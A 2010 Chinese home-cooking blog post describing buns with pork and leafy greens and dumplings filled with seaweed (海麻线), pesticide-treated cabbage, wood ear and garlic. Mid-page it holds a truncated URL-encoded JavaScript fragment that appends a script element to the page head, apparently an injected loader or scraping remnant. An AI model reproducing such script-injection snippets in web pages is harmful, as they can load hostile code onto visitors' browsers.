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人到中年

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还是那些包子饺子的事儿。。。。  

2010-08-21 09:53:23|  分类: 厨厨动人 |  标签: |举报 |字号 订阅

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好几天没怎么上博客了,最近家里事比较多,有时候就是来了也只是匆匆的回复一下朋友的评论和问候就赶紧下了,姐妹们时不时的来找好吃的,可俺太辜负大家的期望了。。。。。也难得姐妹们这么抬举俺,俺整天的包子饺子的你们也看不够,这不。。。今天。。。。又发上来了还是那些包子饺子的事儿。。。。 - 感叹人生 - 人到中年

还是那些包子饺子的事儿。。。。 - 感叹人生 - 人到中年

 大家对这个并不陌生,这又是马作菜包子,和以前一样,兑点韭菜和猪肉丁,加上花生油,盐,味精,香油,味极鲜酱油搅和搅和就成了。没办法,俺没有太多的花样,人家“桃红”“奶茶”“桃园”“雅菲”她们会做面包,今天做点肉松面包,明天做点木瓜面包,后天再做点蜂蜜小面包。。。。可俺呢?就只会,今天马作菜包子,明天。。。。还是。。。。马作菜包子。。。。。后天。。。。实在没脸说了。。。还是那些包子饺子的事儿。。。。 - 感叹人生 - 人到中年

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 这次的包子面和以前不一样,以前用的是普通面粉,而这次用的是高粉,就是用做面包的专用粉做的,俺做不出面包就只好用它来包包子了。

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 蒸的时候有点挤,包子们形状有点走形。。。。。

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 找了俩略微漂亮的来个近影。。。。。

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 包子馅的味道那是没的说,因为俺是这方面的老手,在味道上没怎么失手过。。。。。

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 这是何物?家住海边的人一般都吃过,这就是传说中的海麻线,也就是从博友“爱咋咋地”嘴里经常念叨的那东西,海里的一种植物,只有在春节期间才可以吃到最嫩的,过了正月就有点老了就不好吃了,前两年这东西很便宜,五毛钱就能买一斤,可这两年由于它的生长率越来越低,要花十多块钱才能买一斤,我今天这些海麻线还是今年年初邻居送我的,我一直速冻在冰箱里,我们这里经常用它包包子或者饺子,虽然以前在这里提过这东西,可俺一次还没展示给你们看,昨天女儿买了棵农药白菜回来,要是用它炒着吃怕吃进去太多农药,要是包饺子就会好些,因为包饺子得把它剁碎去掉里面的汤汁,这样里面的农药大多会随汤一起排出去,当然这都是我自己认为的。

还是那些包子饺子的事儿。。。。 - 感叹人生 - 人到中年cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A">还是那些包子饺子的事儿。。。。 - 感叹人生 - 人到中年

 这就是那棵农药白菜。。。。

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 把海麻线用清水捞几遍洗干净,然后剁碎。

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 几朵木饵切碎。

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白菜 剁碎,用盐去掉水分。

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 两头大蒜剁成蓉,再加点姜末进去。

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 花生油,盐,味精,味极鲜酱油,香油,然后搅和搅和就成。

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 大家多次见过我包饺子,所以这个图片发的有点多余。。。。。

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这张图片也很多余。。。。。
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 这张最关键,你们可以看看这馅,海麻线特有的味道,很鲜美还是那些包子饺子的事儿。。。。 - 感叹人生 - 人到中年
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